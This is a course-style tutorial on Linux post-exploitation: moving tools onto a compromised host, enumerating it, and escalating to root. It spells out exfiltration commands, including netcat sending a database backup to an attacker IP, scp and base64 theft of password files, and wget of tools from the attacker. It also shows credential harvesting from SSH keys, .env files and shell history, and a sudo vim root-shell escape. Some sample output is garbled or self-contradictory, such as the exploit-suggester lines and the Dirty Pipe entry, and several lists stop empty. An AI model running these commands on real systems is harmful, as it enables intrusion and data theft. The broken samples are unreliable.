Linux Post-Exploitation

What is Linux Post-Exploitation?

Simply put, it's the phase after gaining initial access to a system. The initial access might be through a vulnerable web application, a successful phishing attack that gave you a shell, or exploiting a weak password. Post-exploitation is everything that comes next.

The attacker now has a foothold, and they work to achieve several key objectives:

• Maintain persistence: They don't want to lose access. If the system reboots or their initial entry point is closed, they want a backup way to get back in. This could involve creating a new user account, installing a backdoor, or setting up a cron job to call home.

• Expand access: The initial foothold is often on a low-value system with limited privileges. The attacker will use this system as a beachhead to explore, find other connected systems, and try to move laterally to more valuable targets, like a database server or a domain controller.

• Extract valuable data: This is often the ultimate goal. The attacker is looking for intellectual property, customer databases, financial records, or any other sensitive information they can steal and monetize.

• Move laterally through the network: The compromised machine is just a starting point. From here, the attacker will use it to pivot and attack other machines on the internal network that are not directly accessible from the internet.

File Transfer

Once an attacker has a shell on a victim machine, they often need to move files. This is file transfer.

• They might need to download tools to the victim machine to aid in further exploitation—things like privilege escalation checkers, port scanners, or more advanced backdoors.

• They will almost certainly need to upload data from the victim machine back to their own—this is data exfiltration, the act of stealing the data.

The challenge for the attacker is that they need to do this without triggering alarms. Network monitoring might flag large, unusual data transfers. So, they use a variety of techniques, from standard administrative tools to more creative methods.

File Transfer - HTTP

The first method is using HTTP, or Hypertext Transfer Protocol. This is the same protocol your web browser uses to load web pages.

Why HTTP for file transfer?

Corporate networks are full of employees browsing websites, downloading files, and using web applications. Firewalls and network monitoring tools are configured to allow HTTP traffic because it's essential for business operations.

Here's how it works in a post-exploitation scenario:

• Set up a server on the attacker's machine: The attacker turns their own Linux machine into a simple web server. Python has built-in modules that make this incredibly easy.
  • For Python 3, the command is: 

    python3 -m http.server <Port Number>

    If you run this in a directory, it will serve all the files in that directory over HTTP on the port you specify (e.g., 8000).

  • For Python 2, the command is similar: 

    python2 -m SimpleHTTPServer <Port Number>

• Download from the victim's machine: 

  Now, on the compromised victim machine, the attacker needs to act like a web browser and fetch that file. Two common tools are used: wget and curl.

  • wget: This is a dedicated tool for downloading files. The syntax is: 

    wget http://<attacker_ip>:<port>/<path_to_file>. 

    For example:

    wget http://192.168.1.100:8000/linpeas.sh.

  • curl: Another powerful tool for transferring data. The syntax is similar: 

    curl -O http://<attacker_ip>:<port>/<path_to_file>. 

    The O flag tells curl to save the file with the same name it has on the server.

File Transfer - SCP

The next method is SCP, which stands for Secure Copy. This tool relies on SSH, the Secure Shell protocol, which is the standard for secure remote administration on Linux.

If the attacker has managed to obtain valid SSH credentials for the victim machine, they can use SCP for file transfers. Because SCP traffic is encrypted and looks like normal administrative traffic, it's very difficult to detect.

The syntax is straightforward and similar to the standard cp (copy) command.

• Uploading a file to the victim (sending a tool):

  scp <path_to_local_file> <ssh_username>@<victim_ip>:<remote_directory>/<new_filename>

  Example: 

  scp ./linpeas.sh user@192.168.1.50:/tmp/linpeas.sh

  This copies the local linpeas.sh to the /tmp/ directory on the victim machine.

• Downloading a file from the victim (exfiltrating data):

  scp <ssh_username>@<victim_ip>:<remote_file_path> <local_destination>

  Example: 

  scp user@192.168.1.50:/home/user/secret_passwords.txt ./

  This copies the secret_passwords.txt file from the victim's home directory to the attacker's current local directory.

The key takeaway here is that if an attacker has SSH access, they have a built-in, secure, and often-unmonitored file transfer mechanism.

File Transfer - NC

Netcat, often abbreviated as nc. It can read from and write to network connections, making it incredibly versatile for everything from port scanning to file transfers and even creating simple backdoor shells.

For file transfers, it's a simple client-server model. However, there's a critical caveat:

Note: Netcat (nc) does not use encryption. The data is sent in plain text over the network. On an untrusted network, like a corporate LAN with internal monitoring, these file transfers can be easily intercepted and read by anyone with access to the network traffic. Attackers often use it in a pinch, but they prefer encrypted methods if possible.

Here's how it works:

• On the Receiver's Side: This machine will listen for an incoming connection and save the data to a file. The command is:

  nc -l -v -p <port> > <received_file>

  • l : Listen mode (act as a server).

  • v : Verbose mode (give more output).

  • p : Specify the port to listen on.

  • > <received_file> : Redirect the incoming data into a file.

    Example (on the attacker's machine, receiving a file): 

    nc -lvp 4444 > stolen_data.zip

• On the Sender's Side: This machine will connect to the listener and send the file.

  nc <receiver_ip> <port> < <file_to_send>

  • < : This redirects the contents of the file into the netcat connection.

    Example (on the victim's machine, sending a file): 

    nc 192.168.1.100 4444 < /var/www/database_backup.sql

Full Example:

• Receiving

  The attacker (IP 192.168.1.100) wants to receive a file called database.sql from the victim. They run:

  nc -lvp 4444 > stolen_data.zip

  Now their machine is listening on port 4444, waiting for an incoming connection. Any data sent to that port will be saved as stolen_data.zip.

• Sending:

  On the victim machine, the attacker runs:

  nc 192.168.1.100 4444 < /var/backups/database.sql

  Workflow:

  • The victim's Netcat initiates a TCP connection to 192.168.1.100 on port 4444

  • It reads the file /var/backups/database.sql

  • It sends the file contents over the connection

  • The listening Netcat receives the data and writes it to stolen_data.zip

  • When the file transfer completes, both connections close

Two-way transfer:

Netcat can also be used in reverse, the attacker could send a tool to the victim by reversing the roles. The victim listens, and the attacker sends.

File Transfer - Base64

The last file transfer method we'll look at is a bit of a trick: using Base64 Encoding.

This isn't a network protocol like the others.

Instead, it's a way to transform a file into a text format that can be copied and pasted.

Base64 is an encoding scheme that represents binary data (like an image, a zip file, or an executable) using only printable ASCII characters (letters, numbers, +, and /).

This is useful because sometimes you might be in a very restrictive shell where you can't use wget, curl, or nc. All you might have is the ability to type or paste text.

The process works like this:

• Encode on the Attacker's Machine: The attacker takes the binary file they want to transfer and converts it to a Base64 string.

  base64 <filename>

  This command will output a long string of text to the terminal. For a large file, this string can be massive. The attacker can copy this entire string.

• Transfer the Text: The attacker now needs to get this long string of text onto the victim machine. They might paste it into a terminal session, or if the connection is unreliable, they might echo it in chunks.

• Decode on the Victim Machine: Once the Base64 string is on the victim machine (perhaps stored in a variable or a text file), they can decode it back into the original binary.

  echo "<the_encoded_text>" | base64 -d > <output_filename>

  • echo "<text>" : Prints the encoded text.

  • | : The pipe sends that text to the next command.

  • base64 -d : The d flag tells base64 to decode the input.

  • > <output_filename> : Redirects the decoded binary data into a new file.

Example:

The victim has a file /etc/passwd that the attacker wants.

On victim machine:

base64 /etc/passwd

#output:
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo

The attacker copies the Base64 output from their terminal.

On attacker machine (they create a new file locally):

echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo=" | base64 -d > passwd.txt

Now passwd.txt on the attacker's machine contains the contents of the victim's /etc/passwd file.

Advantages of Base64 transfer:

• Universality: Base64 is available on virtually every Linux system as part of the coreutils package

• No network connections: The transfer happens through the existing shell session—no new connections that might trigger network alerts

• Bypasses firewalls: Since you're using an existing connection (like a reverse shell or web shell), you don't need to open new ports

• Works in restrictive environments: Even in the most limited shells, you can often paste text

Disadvantages:

• Size overhead: Base64 encoding increases file size by about 33%. A 10MB file becomes about 13.3MB of text.

• Manual process: For large files, copying and pasting thousands of lines of text is tedious and error-prone

• Terminal limitations: Many terminals have line length limits or may truncate very long lines

• No error correction: If one character is missed during copying, the entire file will be corrupted on decode

This method is slow and cumbersome for large files, but it's incredibly resilient because it only requires a terminal and the ability to paste text. It's a great example of how attackers adapt to their environment.

Local Enumeration and Collection

Now that the attacker has a foothold and can move tools, their next step is to figure out where they are. This is Local Enumeration. It's the process of exploring the compromised system to gather information.

The attacker is asking questions like: Who am I? What's on this box? What's connected to it? What valuable data is stored here? Is there a way to get more privileges?

Let's start with the manual approach using standard Linux commands to look for low-hanging fruit. We'll focus on two main categories: Credentials and Logs.

Credentials:

• SSH Private Keys (~/.ssh/id_rsa): In a user's home directory, there's a hidden folder called .ssh. Inside, the file id_rsa is the user's private key. If an attacker can read this file, they can use it to log in as that user to any other system that trusts their public key, without needing a password. It's a golden ticket for lateral movement.

  Command to check:

  ls -la ~/.ssh/
  cat ~/.ssh/id_rsa

• Password Hashes (/etc/shadow): This file stores the actual password hashes for all users on the system. However, reading it requires root privileges. So, while it's a prime target, a low-privileged user can't access it. Seeing that it exists is a reminder of the goal: become root to read this file and crack the passwords.

• Web Application Secrets (/var/www/html/config.php, .env files): Web applications are a treasure trove of credentials. They need to connect to databases, call external APIs, and handle user sessions. They store the passwords for these connections in configuration files. A common location is /var/www/html/ (the web root), and common filenames are config.php, wp-config.php (for WordPress), or .env (for many modern PHP and Python apps). These files often contain database passwords in plain text.

  Command to check:

  cat /var/www/html/config.php
  find /var/www -name "*.env" -o -name "*config*" 2>/dev/null

Logs:

Logs can reveal a lot about the system and user behavior.

Command to check:

ls -la /var/log/
cat /var/log/auth.log
cat /var/log/apache2/access.log

• System Logs (/var/log/): This directory contains a wealth of information. auth.log or secure logs all authentication attempts (successful and failed). An attacker might grep this file for passwords accidentally typed at the prompt. syslog contains general system messages.

  examples

• Web Server Logs (/var/log/apache2/ or /var/log/nginx/): These logs record every request made to a web server. An attacker can look at access.log to see what files people are requesting, which might reveal admin panels or backup files. They can also check error.log for information that might help them exploit the application further.

  Example:

  192.168.1.100 - - [15/Mar/2024:10:15:23 +0000] "GET /admin/backup.sql HTTP/1.1" 200 54321
  192.168.1.101 - - [15/Mar/2024:10:16:45 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 1234

  This tells the attacker that someone downloaded backup.sql from the admin directory. maybe that file is still there and accessible.

Local Enumeration and Collection

Let's expand our manual enumeration checklist.

Running Services

Knowing what's running on the system helps the attacker identify potential targets for privilege escalation or lateral movement.

The ps command:

ps stands for "process status." It shows information about running processes.

Common usage:

• ps aux: Shows all processes for all users (a=all users, u=user-oriented format, x=include processes not attached to a terminal)

Example output:

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.3 102456  7844 ?        Ss   Mar15   0:03 /sbin/init
mysql     1234  0.5  8.2 1245678 167892 ?      Sl   Mar15  12:34 /usr/sbin/mysqld
root      2345  0.0  0.1  56789  2345 ?        Ss   Mar15   0:00 /usr/sbin/sshd
john      3456  0.0  0.2  67890  3456 pts/0    Ss   14:30   0:00 -bash
www-data  4567  0.1  2.3 234567 45678 ?        S    14:31   0:05 /usr/sbin/apache2

What does this tell the attacker?

• MySQL is running as user mysql—maybe there's a way to interact with it

• SSH is running as root—a prime target for exploitation

• Apache is running as www-data—the web server user

Configuration files in /etc/:

For each running service, there's likely a configuration file in /etc/. These files often contain credentials or other sensitive information.

Examples:

• /etc/mysql/my.cnf: MySQL configuration, may contain database credentials

• /etc/apache2/apache2.conf: Apache configuration

• /etc/ssh/sshd_config: SSH server configuration

• /etc/nginx/nginx.conf: Nginx configuration

• /etc/redis/redis.conf: Redis configuration, may contain requirepass directive

Quick example for ps + etc

Scenario: Web Server Compromise → Database Access → Full Data Exposure

You gain a low-privilege shell on a Linux web server (for example, through a vulnerable web app).

You check running services:

ps aux

You notice:

• apache2 running

• mysqld running

So this machine is likely both:

• A web server

• A database server

Now you start looking in /etc/.

Step 1: Check MySQL Configuration

You open:

/etc/mysql/my.cnf

Inside, you find something like:

[client]
user = appuser
password = SuperSecret123

Now you have:

• A valid database username

• A plaintext password

Step 2: Access the Database

You try:

mysql -u appuser -p

And it works.

Inside the database, you find:

User tables - Password hashes - Email addresses - API keys - Possibly even admin credentials reused.

Now your access level just increased dramatically — without exploiting anything new.

Step 3: Credential Reuse

You try the same password (SuperSecret123) for:

• SSH login

• Another internal service

• Another user account

If the organization reused credentials (very common), you might gain:

• A higher-privileged shell

• Access to another internal machine

Environment Variables

Environment variables are dynamic values that affect how processes run. They're inherited by child processes and can contain sensitive information.

Viewing environment variables:

• env: Display all environment variables

• printenv: Same as env

• echo $VARIABLE: Display a specific variable

What might an attacker find?

• AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY: Cloud credentials

• DATABASE_URL: Database connection string with credentials

• API_KEY: Third-party API keys

• PATH: Directories where the system looks for executables

• HOME: Current user's home directory

• SHELL: Current shell

Example:

$ env
USER=john
HOME=/home/john
PATH=/usr/local/bin:/usr/bin:/bin:/usr/games
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

If an attacker sees AWS credentials, they can use them to access the organization's cloud infrastructure.

Dotfiles (.bashrc, .bash_profile, etc.):

Dotfiles are hidden configuration files in a user's home directory. They're executed when a user logs in or starts a new shell. Developers and system administrators sometimes hardcode credentials in these files for convenience.

Important dotfiles:

• ~/.bashrc: A shell script file executed automatically for every new, non-login interactive shell, such as a terminal opened within an existing graphical session.

• ~/.bash_profile or ~/.profile: A shell script file executed automatically for login shells, such as when logging into the system via SSH.

• ~/.bash_history: A log file that records the command lines a user has entered in the shell. Its function is to allow the user to easily recall and re-execute previous commands.

• ~/.ssh/config: SSH client configuration

• ~/.gitconfig: Git configuration, may contain credentials

Command to check:

cat ~/.bashrc
cat ~/.bash_history
cat ~/.ssh/config

Dotfile Scenario:

You gain access to a low-privileged user account on a Linux server, for example:

user: dev

You start checking their home directory.

Step 1: Check .bash_history

You run:

cat ~/.bash_history

You see:

ssh admin@10.10.10.5
mysql -u root -pProdDB@123
export AWS_SECRET_ACCESS_KEY=AKIAIOSFODNN7...
scp backup.sql root@10.10.10.20:/root/

Now you’ve learned:

• There’s a machine at 10.10.10.5 accessed as admin

• The MySQL root password might be ProdDB@123

• There may be AWS credentials

• There’s another internal server at 10.10.10.20

Without scanning anything, you just discovered:

• Internal IP addresses

• Potential admin accounts

• Possible plaintext passwords

• Cloud access keys

That’s massive intelligence from one file.

Installed Software

Knowing what software is installed helps the attacker identify potential vulnerabilities. Outdated software with known exploits is a prime target.

Package managers differ by distribution:

Debian/Ubuntu (using dpkg):

• dpkg -l: List all installed packages

• dpkg -l | grep apache: Filter for specific packages

Red Hat/CentOS/Fedora (using rpm):

• rpm -qa: List all installed packages

• rpm -qa | grep httpd: Filter for specific packages

Third-party software locations:

Not all software is installed via package managers. Attackers also look in:

• /opt/: Often used for third-party commercial software

• /usr/local/bin/: Locally compiled or manually installed programs

• /usr/local/sbin/: System administration programs

• /home/*/bin/: User-specific binaries

Example:

$ ls -la /opt/
total 12
drwxr-xr-x  3 root root 4096 Mar 15 10:00 .
drwxr-xr-x 22 root root 4096 Mar 15 09:55 ..
drwxr-xr-x  5 root root 4096 Mar 15 10:00 teamviewer

Finding TeamViewer installed might indicate a remote desktop solution that could be abused.

You check the version:

/opt/teamviewer/tv_bin/TeamViewer --version

If it’s outdated and running as root, that could mean:

• Local privilege escalation

• Abuse of remote desktop service

• Credential harvesting

Local Enumeration and Collection - Automated

Manual enumeration is thorough, but it's slow. That's why attackers often turn to automation.

Automated enumeration is about using scripts to do the heavy lifting. These scripts are designed to run a huge number of checks quickly and present the findings in an easy-to-read format. They are a staple of any penetration tester's toolkit.

Why use them? Because they are fast, comprehensive, and less likely to miss something a human might overlook. They are the difference between spending an hour manually checking for SUID binaries and having a script list them for you in seconds.

Two of the most famous and powerful scripts are: LinEnum and LinPEAS.

LinEnum: This is a classic bash script. It's a workhorse that scans for a wide variety of privilege escalation opportunities. It checks for:

How to use LinEnum:

On the attacker machine, transfer it to the victim using one of the file transfer methods we discussed:

# On attacker
python3 -m http.server 8000

# On victim
wget http://192.168.1.100:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

snippet output:

[+] Kernel Information
[-] Kernel version: 5.4.0-26-generic

[+] User Information
[-] Current user: www-data
[-] Current groups: www-data
[-] Sudo permissions: www-data can run /usr/bin/vim as root

[+] SUID Files
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/vim
/usr/lib/openssh/ssh-keysign

[+] World Writable Files
/etc/crontab
/var/www/html/config.php

LinPEAS (Linux Privilege Escalation Awesome Script): This is a more modern and comprehensive script. It's more colorful and noisy in its output, but it's incredibly thorough. It doesn't just list information; it actively flags things that are likely misconfigurations or vulnerabilities. It will highlight exposed credentials, weak permissions, and known vulnerable software versions in bright colors, making it very easy for an attacker to spot the best path to privilege escalation.

These tools are the first thing many attackers will run after gaining initial access. For a defender, knowing what these scripts look for is the best way to harden your systems against them.

Download:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
 

How to use LinPEAS:

Similar to LinEnum:

# On attacker
python3 -m http.server 8000

# On victim
wget http://192.168.1.100:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

output snippet:

════════════════════════════════════════════════════════════════╗
║ ■════════════════════════════════════════════════════════════■ ║
║ ║                                                             ║ ║
║ ║  Linux Privilege Escalation Awesome Script                  ║ ║
║ ║                                                             ║ ║
║ ■════════════════════════════════════════════════════════════■ ║
╚════════════════════════════════════════════════════════════════╝

[RED] [CVE-2021-3156] sudo Baron Samedit
[YELLOW] Sudo version 1.8.31 - Vulnerable
[RED] /etc/shadow is readable by user www-data!
[YELLOW] /etc/crontab is writable by user www-data
[GREEN] /usr/bin/vim has SUID bit set
[GREEN] User www-data can run sudo /usr/bin/vim

Targeted Scan Options: Use o to Scan Only Specific Categories

This is the most powerful way to reduce output. You can combine categories with commas:

# Scan only system information and users
./linpeas.sh -o system_information,users_info

# Scan only SUID/SGID binaries and interesting files
./linpeas.sh -o suid,interesting_files

# Scan only sudo privileges and cron jobs
./linpeas.sh -o sudo,cron_jobs

Available categories (not exhaustive, but common ones):

Privilege Escalation

The attacker has enumerated the system. They know what's running, what's installed, and what credentials they might have found. But they are likely still a low-privileged user. Their next major goal is Privilege Escalation.

Privilege escalation is the process of gaining higher levels of access or permissions beyond what is typically granted. In most cases, this means going from a standard user to the root user or administrator.

There are five common techniques for privilege escalation on Linux, which are:

• Kernel Exploits

• Sudo Version

• Sudo Privileges

• Advanced File Permissions (SUID/SGID)

• Cron Jobs

Kernel Exploits - Definition and Objective

Our first privilege escalation technique is exploiting the Linux Kernel itself.

A Linux kernel exploit involves leveraging vulnerabilities in the core of the Linux operating system. The kernel is the heart of the OS, managing the system's resources and acting as a bridge between the hardware and all software. A vulnerability here is a fundamental flaw in how the OS works.

Objective: The goal of exploiting a kernel vulnerability is to achieve deep, system-level control to become root. Because the kernel runs with the highest privileges, successfully exploiting it almost always results in full root access.

Workflow (High-Level): The process for an attacker is:

• Identify the kernel version: First, they need to know exactly what kernel the target system is running.

• Find a matching exploit: They then search for publicly available exploits that target that specific kernel version.

• Execute the exploit: They run the exploit code on the target system. If successful, it will escalate their privileges to root.

However, kernel exploits are dangerous. A poorly written exploit or one that doesn't work perfectly can easily crash the entire system (a kernel panic), which would alert the victim and cause a denial of service. So, while effective, they are often a last option.

Kernel Exploits - Practical Steps

Let's look at the practical commands and methods an attacker would use.

Step 1: Check the kernel version

The first and most important command:

cat /proc/version

What is /proc/version?

/proc/version specifically contains information about the kernel version and the compiler used to build it.

Example output:

Linux version 5.4.0-26-generic (buildd@lgw01-amd64-039) (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #30-Ubuntu SMP Mon Apr 20 16:58:30 UTC 2020

Let's break this down:

• Linux version 5.4.0-26-generic: The kernel version is 5.4.0, with patch level 26, for generic hardware

• #30-Ubuntu SMP: This is the 30th build of this kernel, with SMP (symmetric multiprocessing) support (multiple CPU cores)

• The date tells us when this kernel was compiled

Alternative commands:

uname -a
uname -r      # Just the kernel release number

uname stands for "Unix name" and prints system information. The -a flag gives all information, while -r gives just the kernel release.

Step 2: Check system architecture

arch

Or:

uname -m

Why architecture matters?

Exploits are architecture-specific. An exploit written for x86_64 (64-bit Intel/AMD) won't work on ARM, and vice versa. The exploit needs to match the target's CPU architecture.

Possible outputs:

• x86_64: 64-bit Intel/AMD

• i386 or i686: 32-bit Intel/AMD

• armv7l: 32-bit ARM

• aarch64: 64-bit ARM

Step 3: Check if the kernel is vulnerable

Now the attacker needs to determine if this specific kernel version has known vulnerabilities. There are three primary methods:

Method A: Using search engines

This is the simplest approach. The attacker types into Google:

• "Linux kernel 5.4.0-26 exploit"

• "5.4.0-26-generic privilege escalation"

Search engines will return results from:

• Exploit-DB (exploit-db.com)

• GitHub repositories with proof-of-concept code

• Security blogs and write-ups

Method B: Using searchsploit

Searchsploit is a command-line tool that comes with Kali Linux. It's an offline copy of the Exploit-DB database.

Usage:

searchsploit linux kernel 5.4

This searches for all exploits related to Linux kernel version 5.4.

Example output:

------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                     |  Path
------------------------------------------------------------------- ---------------------------------
Linux Kernel 5.4 - 'io_uring' Local Privilege Escalation           | linux/local/48537.c
Linux Kernel 5.4 - 'bpf' Local Privilege Escalation                | linux/local/48637.c
Linux Kernel 5.4.x - 'Dirty Pipe' Local Privilege Escalation       | linux/local/50808.c
------------------------------------------------------------------- ---------------------------------

The attacker can then view a specific exploit:

searchsploit -x linux/local/50808.c

This shows the exploit code and instructions.

Method C: Using automatic scripts

This is the most efficient method. Tools like linux-exploit-suggester.sh are designed specifically to automate this process.

linux-exploit-suggester.sh:

This script checks the kernel version and other system information, then outputs a list of potential exploits that might work.

Usage:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Example output:

[+] Kernel version: 5.4.0-26-generic
[+] Architecture: x86_64
[+] Distribution: Ubuntu 20.04

[+] Suggested exploits:
CVE-2022-0847 (DirtyPipe) - Kernel 5.8 <= 5.16.11, 5.4.0-26 is NOT vulnerable? Check: 5.4.0-26 is < 5.8? Actually 5.4 < 5.8, so maybe...
CVE-2021-3156 (Baron Samedit) - Sudo vulnerability, not kernel
CVE-2016-5195 (DirtyCow) - Kernel 2.6.22 < 4.8.3 - VULNERABLE

LinPEAS integration:

LinPEAS also includes kernel exploit suggestions as part of its comprehensive scan. When you run LinPEAS, it will check the kernel version and highlight potential vulnerabilities in red.

Sudo Version

sudo allows administrators to give users specific permissions. For example, they might allow the webadmin user to restart the web server with sudo systemctl restart apache2. This is done by editing the /etc/sudoers file.

Just like the kernel, specific versions of the sudo utility can have vulnerabilities. This technique involves identifying and exploiting these flaws.

Objective: The goal is to leverage a vulnerability in the sudo binary itself to execute commands with elevated privileges, bypassing the normal security restrictions.

Methods:

• Check the Sudo version: The attacker checks the version installed on the target system using:

  sudo --version or sudo -V

  Example output:

  Sudo version 1.8.31
  Sudoers policy plugin version 1.8.31
  Sudoers file grammar version 46
  Sudoers I/O plugin version 1.8.31

  The key information here is "Sudo version 1.8.31."

• Check for known vulnerabilities: They compare that version number against public databases like the CVE list or Exploit-DB.

• Exploit the vulnerability: If a vulnerable version is found, they can download and run an exploit for that specific CVE to escalate their privileges.

Sudo Privileges (Misconfiguration)

This technique is not about exploiting a bug in the sudo code (We don't care about the Virsion), but about exploiting a misconfiguration in how sudo is set up by the system administrator.

Objective: The attacker's goal is to find misconfigurations in these permissions that allow them to escalate their privileges.

Methods (Common Misconfigurations):

Method 1: Leveraging wildcards in command arguments

Wildcards are characters like * (matches anything) that the shell expands before executing a command. If sudo rules use wildcards carelessly, they can be exploited.

Example misconfiguration:

In /etc/sudoers, the administrator writes:

john ALL=(root) /usr/bin/vim /var/www/html/*

They intend to allow user john to edit files with vim as root. But only on files inside /var/www/html/.

The exploitation:

John can run:

sudo vim /var/www/html/../../etc/shadow

When the command is executed, the wildcard * expands, and vim tries to open the file. The path traversal (../../) takes vim out of the intended directory and into /etc/shadow, which John can now edit as root.

By modifying /etc/shadow, John can change the root password or create a new root user.

Method 2: Exploiting vulnerabilities in specific binaries allowed by sudo

Sometimes, system administrators need to let regular users run specific programs as root.

For example, they might let you run sudo vim to edit system configuration files.

The security flaw is that many programs have features that let you escape to a shell (a command prompt). If you can get a shell as root, you have full system access.

Example - Text Editors (vim/vi/nano)

Normal use: You run sudo vim /etc/config to edit a system file

Exploitation:

sudo vim
:!sh

• :! in vim means "run a shell command"

• sh means "start a shell"

• Since vim is running as root (because of sudo), the new shell is also root

The key insight:

If a user can run ANY command with sudo that has the ability to spawn a shell or execute other commands, they can effectively run ANY command as root.

Method 3: Manipulating environment variables

The Basic Idea

Programs use environment variables to decide:

Some sudo configurations can be tricked by manipulating environment variables like PATH or LD_PRELOAD to make the program run a malicious version of a library or executable instead of the intended one, all with root privileges.

Sudo Privileges - Practical Example

The first and most important command for exploring sudo privileges is sudo -l.

This command lists the sudo privileges for the current user. It shows what commands the user is allowed to run, and as which user.

In the example on the slide. When a user Skidz runs sudo -l, they see the following output:

Matching Defaults entries for skidz on skidzmachine:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User skidz may run the following commands on skidzmachine:
    (ALL : ALL) ALL

• The most important line: User Skidz may run the following commands...

• (ALL : ALL) ALL: This is the permission line. It's parsed as (user:group) commands.
  • The first ALL means the user Skidz can run commands as any user.

  • The second ALL means they can run commands as any group.

  • The final ALL means they can run any command.

This configuration, (ALL : ALL) ALL, effectively gives Skidz full root access via sudo. They can simply type sudo su - and become root.

If an attacker compromises the skidz account, privilege escalation is trivial.

Advanced File Permissions - Definition and Objective

Next, we look at a core feature of Linux file permissions: SUID and SGID.

Definition: These are special permission bits that can be set on executable files.

• SUID (Set User ID): When an executable with the SUID bit set is run, it executes with the privileges of the file's owner, not the user who ran it. A common example is the passwd command, which allows a regular user to change their password. The passwd binary is owned by root and has the SUID bit set. When you run it, it runs as root so it can modify the /etc/shadow file, which a normal user can't.

• SGID (Set Group ID): This works the same way, but for group ownership.

Objective: The attacker's goal is to find files with the SUID or SGID bit set that they can exploit to gain elevated privileges. If they can find a misconfigured SUID binary, running it might give them a root shell.

Methods:

• Exploiting SUID/SGID-enabled binaries: This is the same concept as the sudo binary example. If a binary like vim or find has the SUID bit set (which it normally shouldn't), an attacker can use its built-in features to execute commands as root.

• Abusing writable SUID binaries: This is an even worse misconfiguration. If a binary owned by root has the SUID bit set and is writable by a normal user, that user can replace the binary with their own malicious code. The next time someone (or a script) runs that "SUID" binary, the malicious code will execute with root privileges.

Advanced File Permissions - Practical Steps

So, how does an attacker find these misconfigured files?

Enumeration:

• Enumerating SUID binaries: The standard find command is used.

  find / -perm -u=s -type f 2>/dev/null

  • find /: Start searching from the root directory.

  • perm -u=s: Look for files where the permission includes the SUID bit (u=s means "user permission is set to SUID").

  • type f: Only look for files, not directories.

  • 2>/dev/null: Redirect all error messages (like "Permission denied") to the null device, cleaning up the output.

• Enumerating SGID binaries: The command is almost identical, but checks for the group ID bit.

  find / -perm -g=s -type f 2>/dev/null

• Using automatic scripts: Tools like LinPEAS will automatically run these find commands for you and then highlight the results, making it very obvious.

Exploitation:

Once a list of SUID binaries is obtained, the attacker needs to analyze them.

• Analyze the binary's purpose: Is it a common tool like find, vim, bash, less? If so, they can be exploited.

• Research known exploitation methods: The attacker will use search engines to look for ways to exploit that specific binary.

• Utilize GTFOBins: This is the ultimate resource for this technique. GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. It's a website (https://gtfobins.github.io/) where you can look up any binary. If there's a known way to use it for privilege escalation (like spawning a shell, reading/writing files, etc.), GTFOBins will provide the exact command. For an attacker with a list of SUID binaries, GTFOBins is the first place they'll check.

Cron Jobs

Our final technique involves abusing scheduled tasks, known as Cron Jobs.

Definition: Cron is a time-based job scheduler in Linux. It allows users and the system to schedule commands or scripts to run periodically (e.g., every minute, every day at 2 AM, on reboot). These are called cron jobs. System administrators use them for tasks like backing up data, rotating logs, or running security scans.

Objective: The attacker's goal is to identify cron jobs that are configured to run as root but have a flaw that can be exploited. If they can manipulate such a job, they can get it to execute their own malicious code with root privileges.

Methods:

• Inspect cron-related files: The configuration for cron jobs is stored in several places. The main ones are:
  • /etc/crontab: This is the system-wide crontab file.

  • /etc/cron.d/: A directory for individual cron job files.

  • /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/: Directories where scripts placed inside are run at the specified intervals.

    An attacker with a low-privileged shell will try to read these files. They are looking for scripts that are executed by root but that they might be able to modify.

• Use tools like pspy: Cron jobs run in the background. A low-privileged user might not be able to see the full crontab files if permissions are set restrictively.

  However, they can see the processes that are running. 

  pspy is a tool that monitors process creation without needing root permissions. It essentially watches the system for new processes in real-time.

  By running pspy on a compromised machine, an attacker can observe a cron job execute every minute or so. They can see the exact command that was run. This gives them the information they need, even if they couldn't read the crontab file directly.

The classic example is a backup script run by root that writes to a directory or file that the low-privileged user has write access to. The user might be able to replace the backup script with a malicious one, or create a symbolic link to a sensitive file, and wait for the cron job to run as root.

Complete enumeration checklist:

System Information:

uname -a                # Kernel version and system info
cat /etc/os-release     # Distribution info
hostname                # System hostname
id                      # Current user and groups
whoami                  # Current username

User Information:

cat /etc/passwd         # List all users
cat /etc/group          # List all groups
who                     # Who is logged in
last                    # Login history
sudo -l                 # Sudo permissions

Network Information:

ifconfig or ip a        # Network interfaces
netstat -tulpn          # Listening ports
route or ip r           # Routing table
cat /etc/hosts          # Local hostname resolution
arp -a                  # ARP cache (other machines on LAN)

File System:

find / -type f -name "*.conf" 2>/dev/null   # Config files
find / -type f -name "*.log" 2>/dev/null    # Log files
find / -type f -perm -4000 2>/dev/null      # SUID binaries
df -h                                        # Mounted filesystems
mount                                        # Mount details

Processes and Services:

ps aux
top -n 1
systemctl list-units --type=service --all   # Systemd services

Sensitive Files:

find / -type f -name "*password*" 2>/dev/null
find / -type f -name "*.key" 2>/dev/null
find / -type f -name ".env" 2>/dev/null
find / -type f -name "wp-config.php" 2>/dev/null